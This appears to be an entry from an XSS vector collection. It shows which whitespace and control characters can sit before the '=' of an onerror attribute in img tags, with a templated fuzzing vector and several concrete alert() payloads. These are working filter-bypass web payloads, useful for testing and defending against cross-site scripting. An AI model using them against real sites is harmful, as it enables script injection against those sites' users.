This XSS vector shows what characters can be used before the onerror event.
<img src onerror$[chr]=log($[i])><img src onerror0x09=alert(9)><img src onerror
=alert(10)><img src onerror0x0C=alert(12)><img src onerror0x0D=alert(13)><img src onerror =alert(32)>